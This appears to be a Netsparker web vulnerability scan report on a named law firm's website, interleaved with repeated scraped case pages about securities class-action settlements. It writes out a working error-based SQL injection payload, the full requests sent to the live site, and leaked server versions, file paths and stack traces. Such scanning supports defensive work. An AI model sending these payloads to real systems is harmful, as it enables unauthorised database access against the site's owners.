SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications.
Crawler confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
<p><a href="images/Force Protection Notice.pdf" target="_blank">Document 1</a><br /> <p><a href="images/Force Protection POC.pdf" target="_blank">Document 2</a><br /> </div> <div class="column_rt"> <img src="images/Force Protection.png" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case5.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="5" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p><span style="text-decoration: underline;">Settlement</span></p> <p>Please see the Notice and Claim Form documents above (called “Document 1” and “Document 2,” respectively) for details about the Force Protection settlement process. These documents are also available on the settlement administrators' website at www.ForceProtectionClassAction.com.</p> <p>The Claims Administrator will be accepting Proof of Claim and Release forms for this Settlement for one additional month beyond the original March 11, 2011 deadline. In order to participate in the distribution of the Settlement, you must submit a Proof of Claim and Release form to the Claims Administrator's Office, postmarked no later than April 11, 2011, at the following address: <br /> <br /> Force Protection, Inc. Securities Litigation c/o Rust Consulting, Inc.<br /> P.O. Box 2389<span style="text-decoration: underline;"><br /> </span>Faribault, MN 55021-9089</p> <p><span style="text-decoration: underline;">Background</span><br /><br />The complaint against Force Protection and its senior executives alleges that prior to and during the class period, defendants continually boasted that Force Protection's dominance in the Mine Resistant Ambush Protected ("MRAP") vehicles market was due to its superior product design and rapid delivery rates. In June 2007, the Inspector General of the Department of Defense questioned both of these claims and criticized the awarding of contracts to Force Protection on a sole-source basis and without competitive bidding. The report noted that there were other U.S. companies that could have competed with Force Protection on both product capability and faster delivery schedules. The complaint further alleges that the company's stock traded at inflated levels during the class period allowing defendants to sell $87.4 million worth of stock.<br /><br />On September 29, 2009, Pomerantz and co-lead counsel persuaded the court to deny defendants' motion to dismiss the complaint. The court then issued an order requiring the parties to immediately commence discovery. Pomerantz, along with co-lead counsel, subsequently reviewed approximately one million pages of produced documents and moved for class certification last spring. While that motion was pending, the parties began settlement negotiations, which concluded in late-September 2010.<br /><br />The settlement covers those investors who purchased Force Protection common stock from January 18, 2007, through and including March 14, 2008. The final approving hearing was held on January 25, 2011 before the Hon. C. Weston Houck of the U.S. District Court for the District of South Carolina and on March 9, 2011, Judge Houck issued a written order approving the settlement terms, including attorneys' fees.<br /><span style="text-decoration: underline;"><br /></span></p> </p></div>
<p><a href="images/Force Protection Notice.pdf" target="_blank">Document 1</a><br /> <p><a href="images/Force Protection POC.pdf" target="_blank">Document 2</a><br /> </div> <div class="column_rt"> <img src="images/Force Protection.png" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case5.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="5" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p><span style="text-decoration: underline;">Settlement</span></p> <p>Please see the Notice and Claim Form documents above (called “Document 1” and “Document 2,” respectively) for details about the Force Protection settlement process. These documents are also available on the settlement administrators' website at www.ForceProtectionClassAction.com.</p> <p>The Claims Administrator will be accepting Proof of Claim and Release forms for this Settlement for one additional month beyond the original March 11, 2011 deadline. In order to participate in the distribution of the Settlement, you must submit a Proof of Claim and Release form to the Claims Administrator's Office, postmarked no later than April 11, 2011, at the following address: <br /> <br /> Force Protection, Inc. Securities Litigation c/o Rust Consulting, Inc.<br /> P.O. Box 2389<span style="text-decoration: underline;"><br /> </span>Faribault, MN 55021-9089</p> <p><span style="text-decoration: underline;">Background</span><br /><br />The complaint against Force Protection and its senior executives alleges that prior to and during the class period, defendants continually boasted that Force Protection's dominance in the Mine Resistant Ambush Protected ("MRAP") vehicles market was due to its superior product design and rapid delivery rates. In June 2007, the Inspector General of the Department of Defense questioned both of these claims and criticized the awarding of contracts to Force Protection on a sole-source basis and without competitive bidding. The report noted that there were other U.S. companies that could have competed with Force Protection on both product capability and faster delivery schedules. The complaint further alleges that the company's stock traded at inflated levels during the class period allowing defendants to sell $87.4 million worth of stock.<br /><br />On September 29, 2009, Pomerantz and co-lead counsel persuaded the court to deny defendants' motion to dismiss the complaint. The court then issued an order requiring the parties to immediately commence discovery. Pomerantz, along with co-lead counsel, subsequently reviewed approximately one million pages of produced documents and moved for class certification last spring. While that motion was pending, the parties began settlement negotiations, which concluded in late-September 2010.<br /><br />The settlement covers those investors who purchased Force Protection common stock from January 18, 2007, through and including March 14, 2008. The final approving hearing was held on January 25, 2011 before the Hon. C. Weston Houck of the U.S. District Court for the District of South Carolina and on March 9, 2011, Judge Houck issued a written order approving the settlement terms, including attorneys' fees.<br /><span style="text-decoration: underline;"><br /></span></p> </p></div>
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Crawler confirmed the vulnerability by executing a test SQL Query on the back-end database.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Extracted Data
microsoft sql server 2000 - 8.00.2039 (intel x86)
may 3 2005 23:18:38
copyright (c) 1988-2003 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
GET /cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.pomerantzlaw.com Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Thu, 12 May 2011 11:48:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Railo-Version: 3.2.2.000 Content-Length: 22815 Content-Type: text/html; charset=UTF-8
<!-- Railo [3.2.2.000] Error -->
<script>
var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm'; var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td> <td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td> </tr>
<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11"> 70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set("MainContentArea", MainContentArea);<br><br /> </blockquote>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1 at railo.runtime.type.QueryImpl.<init>(QueryImpl.java:218):218 at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580 at railo.runtime.tag.Query.doEndTag(Query.java:434):434 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359 at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738 at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572 at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500 at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760 at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705 at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221 at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662 at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72 at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65 at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
print
GET
1
Extracted Data
microsoft sql server 2000 - 8.00.2039 (intel x86)
may 3 2005 23:18:38
copyright (c) 1988-2003 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
GET /cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&print=1 HTTP/1.1 Referer: http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.pomerantzlaw.com Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Thu, 12 May 2011 11:48:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Railo-Version: 3.2.2.000 Content-Length: 22815 Content-Type: text/html; charset=UTF-8
<!-- Railo [3.2.2.000] Error -->
<script>
var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm'; var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td> <td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td> </tr>
<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11"> 70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set("MainContentArea", MainContentArea);<br><br /> </blockquote>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1 at railo.runtime.type.QueryImpl.<init>(QueryImpl.java:218):218 at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580 at railo.runtime.tag.Query.doEndTag(Query.java:434):434 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359 at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738 at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572 at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500 at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760 at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705 at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221 at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662 at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72 at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65 at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.
Impact
This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:
Gain full access to the database server.
Gain a reverse shell to the database server and execute commands on the underlying operating system.
Access the database with full permissions. Where it may be possible to read, update or delete arbitrary data from the database.
Furthermore, depending on the platform and the database system user an attacker might carry out a privilege escalation attack to gain administrator access to the target system.
Remedy
Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td> <td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td> </tr>
<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11"> 70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set("MainContentArea", MainContentArea);<br><br /> </blockquote>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1 at railo.runtime.type.QueryImpl.<init>(QueryImpl.java:218):218 at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580 at railo.runtime.tag.Query.doEndTag(Query.java:434):434 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359 at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738 at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572 at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500 at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760 at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705 at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221 at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662 at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72 at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65 at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
</div> <div class="column_rt"> <img src="" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="102" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p> Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (“CKx” or the “Company”) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br /> The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share. <br /> CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>variable [THISPRINTURL] doesn't exist at railo.runtime.type.scope.UndefinedImpl.get(UndefinedImpl.java:256):256 at applications.pomlaw.layout.page.default_real_cfm360$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm:71):71 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717 at applications.pomlaw.layout.page.default_cfm$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm:6):6 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717 at framework.view.render_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\view\Render.cfc:19):19 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:..
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
